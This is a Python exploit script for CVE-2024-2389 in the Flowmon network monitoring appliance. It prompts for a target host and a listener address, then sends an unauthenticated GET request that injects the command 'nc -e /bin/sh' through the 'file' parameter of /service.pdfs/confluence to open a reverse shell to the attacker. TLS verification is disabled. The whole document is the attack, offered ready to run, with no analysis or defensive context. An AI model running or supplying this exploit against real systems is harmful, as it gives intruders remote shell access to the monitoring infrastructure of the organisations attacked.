import requests banner = """ ┏┓┓┏┏┓ ┏┓┏┓┏┓┏┓ ┏┓┏┓┏┓┏┓ ┃ ┃┃┣ ━━┏┛┃┫┏┛┃┃━━┏┛ ┫┣┫┗┫ ┗┛┗┛┗┛ ┗━┗┛┗━┗╋ ┗━┗┛┗┛┗┛ """ print(banner) host = input("Enter Flowmon host: ") ip_address = input("Enter your IP address: ") port = input("Enter your port: ") url = f"https://{host}/service.pdfs/confluence?lang=en&file=`nc+-e+/bin/sh+{ip_address}+{port}`" try: response = requests.get(url, verify=False) response.raise_for_status() print("Response:") print(response.text) except requests.exceptions.HTTPError as http_err: print(f"An HTTP error occurred: {http_err}") except requests.exceptions.SSLError as ssl_err: print(f"An SSL error occurred: {ssl_err}. This might be due to the server's SSL certificate not being trusted. Please ensure the server's SSL certificate is valid and trusted.") except Exception as err: print(f"An unexpected error occurred: {err}")